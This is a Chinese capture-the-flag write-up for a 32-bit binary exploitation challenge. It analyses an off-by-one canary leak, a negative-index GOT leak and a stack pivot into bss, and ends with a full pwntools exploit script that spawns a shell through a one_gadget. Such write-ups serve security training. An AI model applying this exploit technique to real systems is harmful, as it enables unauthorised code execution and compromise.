江苏移动“赋能建功”-二进制相关
PWN(已完成)
分析

32位的,好古老的程序,江苏移动找的出题人不会是哪里抄的吧。。。
- 开启Cannary,没开PIE;
- RELRO部分开:GOT表可被覆盖

👆一开始代码很乱,scanf显然多传了无用参数,只有前两个参数有效,属于反编译产生的噪音,人工优化一下👇


明显可以审到利用点如下:
- 第1次输入:
read(0, buf, 81u); off_by_one 结合下面的printf泄露canary
- 第2次输入:
printf的idx可以数组负数越界获取got表信息
- 第3次输入:往bss段上布置东西
- 第4次输入:正好控到ebp,可以栈迁移,控制程序流
我们可以泄露canary值,再通过数组负数越界获取got表信息,计算出onegadget,最后利用栈迁移,将栈迁移到我们设计好的bss段中,触发onegadget,获取shell。
exp
from pwn import *
context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] p = process('./pwn') libc=ELF('./libc-2.23.so') e = ELF('./pwn')
print(p.recv(timeout=0.5))
p.send(b'a' * 81)
print(p.recv(timeout=0.5))
secret_addr = 0x804A060 bss_addr = 0x0804A1A0 offset = (e.got['puts'] - secret_addr) // 4 print("offset",offset) p.sendline(str(offset).encode()) p.recvuntil(b'a' * 81)
part_of_canary = p.recv(3) canary = u32(b'\x00' + part_of_canary) success("canary: " + hex(canary))
p.recvuntil(b'Part:') puts_addr = u32(p.recv(4)) success("puts addr: " + hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts'] gadget = puts_addr - libc.symbols['puts'] + 0x3a80c
print('libc->', hex(puts_addr - libc.symbols['puts']))
p.send(p32(canary)+p32(bss_addr+0x14)+b'a'*0x8+p32(gadget))
gdb.attach(p)
pause() p.send(b'aaaa' + p32(canary) + b'a' * 0x8 + p32(bss_addr+0xc)) p.interactive()
|
RE(绝赞更新中)